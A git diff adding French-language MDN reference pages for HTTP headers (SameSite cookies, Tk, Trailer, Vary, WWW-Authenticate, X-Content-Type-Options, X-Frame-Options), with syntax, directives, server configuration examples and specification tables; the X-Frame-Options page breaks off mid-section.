id="Valeurs">Valeurs</h2> + +<p>L'attribut <code>SameSite</code> accepte trois valeurs possibles :</p> + +<h3 id="Lax"><code>Lax</code></h3> + +<p>Les cookies sont transférables depuis le site actuel vers des sites de niveaux inférieurs et seront envoyés lors de requêtes GET initialisées par des sites tiers. C'est la valeur par défaut des navigateurs les plus récents.</p> + +<h3 id="Strict"><code>Strict</code></h3> + +<p>Les cookies ne seront envoyés qu'avec les requêtes effectuées sur le domaine de même niveau, et ne seront pas envoyées sur les requêtes vers des sites tiers.</p> + +<h3 id="None"><code>None</code></h3> + +<p>Les cookies seront envoyés dans tous les contextes, rendant possibles les requêtes de type <em>cross-origin</em>.</p> + +<p><code>None</code> était la valeur par défaut des navigateurs, mais les navigateurs les plus récents optent désormais pour la valeur <code>Lax</code> comme valeur par défaut pour une meilleure défense contre les attaques de type <em>cross-site request forgery</em> ({{Glossary("CSRF")}}).</p> + +<p><code>None</code> requiert l'attribut <code>Secure</code> dans les dernières versions des navigateurs les plus récents. Voir plus bas pour plus d'informations.</p> + +<h2 id="Corriger_les_erreurs_les_plus_communes">Corriger les erreurs les plus communes</h2> + +<h3 id="SameSiteNone_requiert_Secure"><code>SameSite=None</code> requiert <code>Secure</code></h3> + +<p>Une alerte de ce type peut apparaître dans la console de votre navigateur :</p> + +<blockquote> +<p><em>Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.<br> + Cookie “</em>myCookie<em>” rejected because it has the “sameSite=none” attribute but is missing the “secure” attribute.</em></p> +</blockquote> + +<p>Cet alerte apparaît dans les cas où des cookies requièrent l'attribut <code>SameSite=None</code> et ne sont pas marqués <code>Secure</code>, étant donc refusés par le navigateur.</p> + +<pre class="example-bad notranslate">Set-Cookie: flavor=choco; SameSite=None</pre> + +<p>Pour corriger cette erreur, vous devez ajouter l'attribut <code>Secure</code> à vos cookies marqués avec l'attribut <code>SameSite=None</code>.</p> + +<pre class="example-good notranslate">Set-Cookie: flavor=choco; SameSite=None; <strong>Secure</strong></pre> + +<p>Un cookie <code>Secure</code> ne sera envoyé au serveur que par le biais de requêtes utilisant le protocole HTTPS. Il est à noter que les sites non sécurisés (<code>http:</code>) ne peuvent pas être marqués <code>Secure</code>.</p> + +<h3 id="Les_cookies_sans_lattribut_SameSite_utilisent_SameSiteLax_par_défaut">Les cookies sans l'attribut <code>SameSite</code> utilisent <code>SameSite=Lax</code> par défaut</h3> + +<p>Les dernières versions des navigateurs récents fournissent une valeur par défaut de <code>SameSite</code> plus sécurisée pour vos cookies, il se peut donc que le message suivant apparaisse dans la console de votre navigateur :</p> + +<blockquote> +<p><em>Some cookies are misusing the “sameSite“ attribute, so it won’t work as expected.<br> + Cookie “</em>myCookie<em>” has “sameSite” policy set to “lax” because it is missing a “sameSite” attribute, and “sameSite=lax” is the default value for this attribute.</em></p> +</blockquote> + +<p>Cette alerte apparait car la stratégie de <code>SameSite</code> pour le cookie n'a pas été spécifiée explicitement :</p> + +<pre class="example-bad notranslate">Set-Cookie: flavor=choco</pre> + +<p>Même si vous pouvez compter sur la valeur par défaut <code>SameSite=Lax</code> des navigateurs récents, vous devriez tout de même spécifier la stratégie à appliquer pour ce cookie afin de communiquer clairement votre intention. Cela améliorera également l'expérience sur les autres navigateurs si ceux-ci n'utilisent pas encore la valeur par défaut <code>Lax</code>.</p> + +<pre class="example-good notranslate">Set-Cookie: flavor=choco; <strong>SameSite=Lax</strong></pre> + +<h2 id="Exemples"><strong>Exemples</strong></h2> + +<pre class="notranslate">RewriteEngine on +RewriteBase "/" +RewriteCond "%{HTTP_HOST}" "^example\.org$" [NC] +RewriteRule "^(.*)" "https://www.example.org/index.html" [R=301,L,QSA] +RewriteRule "^(.*)\.ht$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:01:https://www.example.org:30/:SameSite=None:Secure] +RewriteRule "^(.*)\.htm$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:02:https://www.example.org:30/:SameSite=None:Secure] +RewriteRule "^(.*)\.html$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:03:https://www.example.org:30/:SameSite=None:Secure] +[...] +RewriteRule "^admin/(.*)\.html$" "admin/index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:09:https://www.example.org:30/:SameSite=Strict:Secure] +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td> + <td>HTTP State Management Mechanism</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05">draft-ietf-httpbis-rfc6265bis-05</a></td> + <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Set-Cookie", 5)}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Cookies">Les cookies HTTP</a></li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/fr/web/http/headers/tk/index.html b/files/fr/web/http/headers/tk/index.html new file mode 100644 index 0000000000..53dc3336aa --- /dev/null +++ b/files/fr/web/http/headers/tk/index.html @@ -0,0 +1,93 @@ +--- +title: Tk +slug: Web/HTTP/Headers/Tk +translation_of: Web/HTTP/Headers/Tk +--- +<div>{{HTTPSidebar}}</div> + +<p>L'entête de réponse <code>Tk</code> indique le statut de suivi (tracking) qui s'applique à la demande correspondante.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Tk: ! (en construction) +Tk: ? (dynamique) +Tk: G (passerelle ou multiples parties) +Tk: N (pas de suivi) +Tk: T (suivi) +Tk: C (suivi avec consentement) +Tk: P (consentement potentiel) +Tk: D (ne tient pas compte de DNT) +Tk: U (mis à jour) +</pre> + +<h3 id="Directives">Directives</h3> + +<dl> + <dt>!</dt> + <dd>En construction. Le serveur d'origine teste actuellement sa communication de l'état du suivi.</dd> + <dt>?</dt> + <dd>Dynamique. Le serveur d'origine a besoin de plus d'informations pour déterminer l'état du suivi.</dd> + <dt>G</dt> + <dd>Passerelle ou multiples parties. Le serveur fait office de passerelle vers un échange impliquant plusieurs parties.</dd> + <dt>N</dt> + <dd>Pas de suivi.</dd> + <dt>T</dt> + <dd>Suivi.</dd> + <dt>C</dt> + <dd>Suivi avec consentement. Le serveur d'origine pense avoir reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil.</dd> + <dt>P</dt> + <dd>Consentement potentiel. Le serveur d'origine ne sait pas, en temps réel, s'il a reçu un consentement préalable pour le suivi de cet utilisateur, user-agent ou appareil, mais promet de ne pas utiliser ou partager de données DNT:1 jusqu'à ce que ce consentement ait été déterminé. Il promet en outre de supprimer ou d'anonymiser de manière permanente dans les 48 heures toute donnée DNT:1 reçue pour laquelle ce consentement n'a pas été reçu.</dd> + <dt>D</dt> + <dd>Ne tient pas compte de DNT. Le serveur d'origine ne peut ou ne veut pas respecter une préférence de suivi reçue de l'user-agent demandeur.</dd> + <dt>U</dt> + <dd>Mis à jour. La demande a entraîné un changement potentiel du statut de suivi applicable à cet utilisateur, user-agent ou appareil.</dd> +</dl> + +<h2 id="Exemple">Exemple</h2> + +<p>Un entête <code>Tk</code> pour une ressource qui prétend ne pas être suivie :</p> + +<pre class="notranslate">Tk: N</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Tracking','#Tk-header-defn', 'Tk header field')}}</td> + <td>{{Spec2("Tracking")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div> + +<p>{{Compat("http.headers.Tk")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("DNT")}} header</li> + <li>{{domxref("Navigator.doNotTrack")}}</li> +</ul> diff --git a/files/fr/web/http/headers/trailer/index.html b/files/fr/web/http/headers/trailer/index.html new file mode 100644 index 0000000000..35b96abffd --- /dev/null +++ b/files/fr/web/http/headers/trailer/index.html @@ -0,0 +1,100 @@ +--- +title: Trailer +slug: Web/HTTP/Headers/Trailer +translation_of: Web/HTTP/Headers/Trailer +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête <strong>Trailer</strong> permet à l'expéditeur d'inclure des champs supplémentaires à la fin des blocs de messages pour fournir des métadonnées supplémentaires qui peuvent être générées de manière dynamique pendant que le corps du message sera envoyé, il peut s'agir de la vérification de l'intégrité du message, une signature numérique, ou encore un statut après le traitement.</p> + +<div class="note"> +<p>L'en-tête {{HTTPHeader("TE")}} de la requête devra être définie en tant que "trailers" pour autoriser les champs de type "trailer".</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">Trailer: header-names</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>header-names</code></dt> + <dd>HTTP header fields which will be present in the trailer part of chunked messages. These header fields are <strong>disallowed</strong>: + <ul> + <li>message framing headers (e.g., {{HTTPHeader("Transfer-Encoding")}} and {{HTTPHeader("Content-Length")}}),</li> + <li>routing headers (e.g., {{HTTPHeader("Host")}}),</li> + <li>request modifiers (e.g., controls and conditionals, like {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Max-Forwards")}}, or {{HTTPHeader("TE")}}), </li> + <li>authentication headers (e.g., {{HTTPHeader("Authorization")}} or {{HTTPHeader("Set-Cookie")}}),</li> + <li>or {{HTTPHeader("Content-Encoding")}}, {{HTTPHeader("Content-Type")}}, {{HTTPHeader("Content-Range")}}, and <code>Trailer</code> itself.</li> + </ul> + </dd> +</dl> + +<h2 id="Exemple">Exemple</h2> + +<h3 id="Encodage_de_transfert_en_bloc_en_utilisant_les_en-têtes_trailer."><strong>Encodage de transfert en bloc</strong> en utilisant les en-têtes "trailer".</h3> + +<p>Dans cet exemple, l'en-tête {{HTTPHeader("Expires")}} est utilisée à la fin du bloc du message et sert en tant qu'un "trailing header".</p> + +<pre>HTTP/1.1 200 OK +Content-Type: text/plain +Transfer-Encoding: chunked +Trailer: Expires + +7\r\n +Mozilla\r\n +9\r\n +Developer\r\n +7\r\n +Network\r\n +0\r\n +\r\n +Expires: Wed, 21 Oct 2015 07:28:00 GMT</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7230", "Trailer", "4.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + <tr> + <td>{{RFC("7230", "Chunked trailer part", "4.1.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilités</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/headers/trailer")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> + <li>{{HTTPHeader("TE")}}</li> + <li> + <p><a href="https://fr.wikipedia.org/wiki/Chunked_transfer_encoding">Encodage de transfert en bloc</a></p> + </li> +</ul> diff --git a/files/fr/web/http/headers/vary/index.html b/files/fr/web/http/headers/vary/index.html new file mode 100644 index 0000000000..955ed8f6bc --- /dev/null +++ b/files/fr/web/http/headers/vary/index.html @@ -0,0 +1,87 @@ +--- +title: Vary +slug: Web/HTTP/Headers/Vary +tags: + - En-tête de réponse + - HTTP + - Reference + - Réponse + - en-tête +translation_of: Web/HTTP/Headers/Vary +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête HTTP <strong><code>Vary</code></strong> détermine comment les en-têtes de requêtes futures sont associés pour décider si une réponse en cache peut être réutilisée plutôt que de solliciter à nouveau le serveur d'origine. Il est utilisé par le serveur pour indiquer quels en-têtes sont utilisés pour représenter une resource dans un algorithme de <a href="/en-US/docs/Web/HTTP/Content_negotiation">négociation de contenu</a>.</p> + +<p>L'en-tête <code>Vary</code> doit être renseigné de manière identique sur une réponse {{HTTPStatus("304")}} <code>Not Modified</code> à ce qu'elle aurait été sur la réponse {{HTTPStatus("200")}} <code>OK</code> correspondante.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox notranslate">Vary: * +Vary: <header-name>, <header-name>, ... +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt>*</dt> + <dd>Chaque requête pour une URL doit être traitée comme une requête unique à ne pas mettre en cache. Une meilleure manière de l'indiquer est d'utiliser {{HTTPHeader("Cache-Control")}}<code>: private</code>, qui est plus clair à lire et signale aussi que l'objet ne doit jamais être mis en cache.</dd> + <dt><header-name></dt> + <dd>Une liste séparé par des virgules de noms d'en-tête à prendre en compte lorsqu'il est décidé si une réponse en cache peut être utilisée ou non.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<h3 id="Service_dynamique">Service dynamique</h3> + +<p>Lorsque l'en-tête <code>Vary: User-Agent</code> est utilisée, les serveurs de cache doivent prendre en compte l'agent de l'utilisateur pour décider de servir la page depuis le cache ou non. Par exemple, si vous servez du contenu différent pour les utilisateurs sur mobile, il aide à éviter qu'une version ordinateur de votre site ne soit distribuée à un utilisateur sur mobile. Il peut aider google et d'autres moteurs de recherche à prendre en compte la version pour mobile d'un site, ainsi que de signaler que le <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a> n'est pas intentionel.</p> + +<pre class="notranslate">Vary: User-Agent</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "Vary", "7.1.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Vary")}}</p> + +<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2> + +<ul> + <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li> +</ul> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("User-Agent")}}</li> + <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Best Practices for Using the Vary Header – fastly.com</a></li> +</ul> diff --git a/files/fr/web/http/headers/www-authenticate/index.html b/files/fr/web/http/headers/www-authenticate/index.html new file mode 100644 index 0000000000..4f8234a6f7 --- /dev/null +++ b/files/fr/web/http/headers/www-authenticate/index.html @@ -0,0 +1,78 @@ +--- +title: WWW-Authenticate +slug: Web/HTTP/Headers/WWW-Authenticate +translation_of: Web/HTTP/Headers/WWW-Authenticate +--- +<p>{{HTTPSidebar}}<br> + L'entête HTTP de réponse <strong><code>WWW-Authenticate</code></strong> définit la méthode d'authentification qui doit être utilisé pour obtenir l'accès à une ressource.</p> + +<p>L'entête <code>WWW-Authenticate</code> est envoyée en même temps qu'une réponse {{HTTPStatus("401")}} <code>Unauthorized</code>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type de l'entête</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">WWW-Authenticate: <type> realm=<realm> +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><type></dt> + <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Type d'authentification</a>. Un type commun est <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. IANA maintient une <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">liste des schémas d'authentification</a>.</dd> + <dt>realm=<realm></dt> + <dd>Une description de la zone protégée. Si aucun domaine n'est spécifié, les clients affichent souvent un nom de domaine formaté à la place.</dd> + <dt>charset=<charset></dt> + <dd>Indique au client le schéma d'encodage préféré du serveur lorsqu'on soumet un nom d'utilisateur et un mot de passe. La seule valeur acceptée est la chaine insensible à la casse "UTF-8". Cela ne s'applique pas à l'encodage de la chaine du domaine.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<p>La réponse d'un serveur contient généralement l'entête <code>WWW-Authenticate</code> qui ressemble à ça :</p> + +<pre>WWW-Authenticate: Basic + +WWW-Authenticate: Basic realm="Accès au site de staging", charset="UTF-8" +</pre> + +<p>Voir aussi <a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a> pour des exemples sur la configuration des serveurs Apache ou nginx pour protéger protéger votre site par mot de passe en utilisant l'authentification HTTP basic.</p> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7235", "WWW-Authenticate", "4.1")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + <tr> + <td>{{RFC("7617")}}</td> + <td>The 'Basic' HTTP Authentication Scheme</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/fr/web/http/headers/x-content-type-options/index.html b/files/fr/web/http/headers/x-content-type-options/index.html new file mode 100644 index 0000000000..82699f34a7 --- /dev/null +++ b/files/fr/web/http/headers/x-content-type-options/index.html @@ -0,0 +1,92 @@ +--- +title: X-Content-Type-Options +slug: Web/HTTP/Headers/X-Content-Type-Options +tags: + - En-tête HTTP + - En-tête de réponse + - HTTP + - Réponse +translation_of: Web/HTTP/Headers/X-Content-Type-Options +--- +<p>L'entête <code><strong>X-Content-Type-Options</strong></code> est un marqueur utilisé par le serveur pour indiquer que les <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">types MIME</a> annoncés dans les en-têtes {{HTTPHeader("Content-Type")}} ne doivent pas être modifiés ou et suivis. Cela permet de se détacher du sniffing de type <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">MIME</a>, ou, en d'autres termes, c'est une façon de dire que les webmasters savaient ce qu'ils faisaient.</p> + +<p>Cet en-tête a été introduit par Microsoft dans IE 8 comme un moyen pour les webmasters de bloquer le reniflement de contenu qui se passait et pouvait transformer les types MIME non exécutables en types MIME exécutables. Depuis, d'autres navigateurs l'ont introduit, même si leurs algorithmes de reniflage MIME étaient moins agressifs.</p> + +<p>À partir de Firefox 72, la désactivation du reniflement MIME est également appliqué aux documents de premier niveau si un {{HTTPHeader("Content-type")}} est fourni. Les pages web HTML qui sont servies avec un type MIME différent de <code>text/html</code>, peuvent alors être juste téléchargées au lieu d'êtres rendues (interprétées et affichées par le navigateur). Assurez vous de valoriser correctement ces 2 en-têtes.</p> + +<p>Les testeurs de sécurité du site s'attendent généralement à ce que cet en-tête soit défini.</p> + +<p class="blockIndicator note">Note: <code>X-Content-Type-Options</code> ne s'appliquent qu'au <a href="https://fetch.spec.whatwg.org/#should-response-to-request-be-blocked-due-to-nosniff?">blocage des demandes par <code>nosniff</code></a> pour les <a href="https://fetch.spec.whatwg.org/#concept-request-destination">destinations de demandes</a> de "<code>script</code>" et "<code>style</code>". Il permet également le <a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md#what-types-of-content-are-protected-by-corb">blocage en lecture croisé (CORB)</a> pour les fichiers HTML, TXT, JSON, et XML (à l'exception des images SVG <code>image/svg+xml</code>).</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<pre class="syntaxbox">X-Content-Type-Options: nosniff +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>nosniff</code></dt> + <br> + <dd>Bloque une requête si la destination de la requête est de type + <ul> + <li>"<code>style</code>" et le MIME n'est pas de type <code>text/css</code>, ou</li> + <li>"<code>script</code>" et le MIME n'est pas de type <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">JavaScript MIME type</a></li> + </ul> + </dd> + <dd>Permet le blocage de la lecture croisée pour les types MIME + <ul> + <li><code>text/html</code></li> + <li><code>text/plain</code></li> + <li><code>text/json</code>, <code>application/json</code> ou tout autre type avec une extension JSON: <code>*/*+json</code></li> + <li><code>text/xml</code>, <code>application/xml</code> ou tout autre type avec une extension XML: <code>*/*+xml</code> (hors <code>image/svg+xml</code>)</li> + </ul> + </dd> +</dl> + +<h2 id="Caractéristiques">Caractéristiques</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Caractéristique</th> + <th scope="col">Statut</th> + <th scope="col">Commentaire</th> + </tr> + <tr> + <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Définition initiale</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter le site <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une demande.</div> + +<p>{{Compat("http.headers.X-Content-Type-Options")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>La <a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">définition originale</a> de X-Content-Type-Options par Microsoft.</li> + <li>L'<a href="https://observatory.mozilla.org/">Outil Obserservatoire Mozilla</a> teste la configuration (y compris en-tête) des sites Web pour la sécurité et la sûreté.</li> + <li><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Atténuer les attaques MIME Confusion dans Firefox.</a></li> + <li><a href="https://fetch.spec.whatwg.org/#corb">Blocage de la lecture croisée (CORB)</a></li> + <li><a href="https://chromium.googlesource.com/chromium/src/+/master/services/network/cross_origin_read_blocking_explainer.md">Google Docs CORB explicatif</a></li> +</ul> diff --git a/files/fr/web/http/headers/x-frame-options/index.html b/files/fr/web/http/headers/x-frame-options/index.html new file mode 100644 index 0000000000..bbe05e9cf0 --- /dev/null +++ b/files/fr/web/http/headers/x-frame-options/index.html @@ -0,0 +1,151 @@ +--- +title: X-Frame-Options +slug: Web/HTTP/Headers/X-Frame-Options +tags: + - HTTP + - Réponse + - Sécurité + - en-tête +translation_of: Web/HTTP/Headers/X-Frame-Options +--- +<div>{{HTTPSidebar}}</div> + +<p>L'en-tête de réponse <a href="/fr/docs/Web/HTTP">HTTP</a> <strong><code>X-Frame-Options</code></strong> peut être utilisé afin d'indiquer si un navigateur devrait être autorisé à afficher une page au sein d'un élément {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("embed")}} ou {{HTMLElement("object")}}. Les sites peuvent utiliser cet en-tête afin d'éviter les attaques de <em>{{interwiki("wikipedia", "clickjacking")}}</em> pour s'assurer que leur contenu ne soit pas embarqués dans d'autres sites.</p> + +<p>Ce complément de sécurité est uniquement valable lorsque l'utilisateur final visite le document avec un navigateur prenant en charge <code>X-Frame-Options</code>.</p> + +<div class="note"> +<p><strong>Note : </strong>L'en-tête {{HTTPHeader("Content-Security-Policy")}} possède une directive <code><a href="/fr/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors">frame-ancestors</a></code> qui <a href="https://www.w3.org/TR/CSP2/#frame-ancestors-and-frame-options">supplante</a> cet en-tête pour les navigateurs compatibles.</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Type d'en-tête</th> + <td>En-tête de réponse</td> + </tr> + <tr> + <th scope="row"><a href="/fr/docs/Glossaire/Forbidden_header_name">Nom d'en-tête interdit</a></th> + <td>Non</td> + </tr> + </tbody> +</table> + +<h2 id="Syntaxe">Syntaxe</h2> + +<p>Il existe deux directives pour <code>X-Frame-Options</code> :</p> + +<pre class="syntaxbox">X-Frame-Options: deny +X-Frame-Options: sameorigin +</pre> + +<h3 id="Directives">Directives</h3> + +<p>Si on utilise <code>deny</code>, le chargement de la page dans une <em>frame</em> échouera sur un site tiers mais aussi sur un site de la même origine. En revanche, si on utilise <code>sameorigin</code>, on peut toujours utiliser le document dans une <em>frame</em> si celle-ci partage la même origine.</p> + +<dl> + <dt><code>deny</code></dt> + <dd>La page ne peut pas être affichée dans une <em>frame</em>, quand bien même un site tiers tenterait de la charger.</dd> + <dt><code>sameorigin</code></dt> + <dd>La page ne peut être affichée que dans une <em>frame</em> avec une origine qui est la même que la page elle-même. La spécification laisse le choix au navigateur de décider si cela s'applique au niveau le plus haut, au conteneur parent ou à l'ensemble de la chaîne des <em>frames </em>potentiellement imbriquées. Il est parfois avancé que cette option n'est pas très utile à moins que l'ensemble des ancêtres partage la même origine (cf. {{bug(725490)}}). Voir aussi le tableau de compatibilité ci-après pour plus de détails sur la prise en charge de cette directive.</dd> + <dt><code>allow-from <em>uri</em></code><em> (obsolète)</em></dt> + <dd>Une directive obsolète qui ne fonctionne plus dans les navigateurs récents et qui ne doit donc plus être utilisée. Pour les navigateurs historiques, cette directive permettait d'indiquer une origine via une URI afin d'autoriser l'affichage du document dans les <em>frames</em> chargées depuis cette origine. Pour les anciennes versions de Firefox, on a le même problème qu'avec <code>sameorigin</code> : il n'y a pas de vérifications des différents ancêtres pour voir s'ils partagent la même origine. À la place, on utilisera la directive <code>frame-ancestors</code> de l'en-tête {{HTTPHeader("Content-Security-Policy")}}.</dd> +</dl> + +<h2 id="Exemples">Exemples</h2> + +<div class="note"> +<p><strong>Note :</strong> La balise <code><meta></code> est inutile ici ! <code><meta http-equiv="X-Frame-Options" content="deny"></code> n'aura aucun effet et mieux vaut donc ne pas l'utiliser.</p> +</div> + +<h3 id="Configurer_Apache">Configurer Apache</h3> + +<p>On peut configurer Apache afin d'envoyer l'en-tête <code>X-Frame-Options</code> pour toutes les pages. Dans la configuration, on ajoutera :</p> + +<pre>Header always set X-Frame-Options "sameorigin" +</pre> + +<p>Si on veut utiliser la valeur <code>deny</code>, on pourra utiliser ceci dans la configuration :</p> + +<pre>Header set X-Frame-Options "deny" +</pre> + +<h3 id="Configurer_NGINX">Configurer NGINX</h3> + +<p>Avec NGINX, on pourra ajouter la ligne suivante à la configuration HTTP, serveur ou à la configuration de l'emplacement (<em>location</em>) :</p> + +<pre>add_header X-Frame-Options sameorigin always; +</pre> + +<h3 id="Configurer_IIS">Configurer IIS</h3> + +<p>Pour IIS, on complètera le fichier <code>Web.config</code> :</p> + +<pre class="brush: xml"><system.webServer> + ... + + <httpProtocol> + <customHeaders> + <add name="X-Frame-Options" value="sameorigin" /> + </customHeaders> + </httpProtocol> + + ... +</system.webServer> +</pre> + +<h3 id="Configurer_HAProxy">Configurer HAProxy</h3> + +<p>Pour HAProxy, on ajoutera la ligne suivante à la configuration du <em>front</em>, du <em>listen</em> ou du <em>backend</em> :</p> + +<pre>rspadd X-Frame-Options:\ sameorigin +</pre> + +<p>Dans les versions plus récentes, voici la forme équivalente :</p> + +<pre>http-response set-header X-Frame-Options sameorigin +</pre> + +<h3 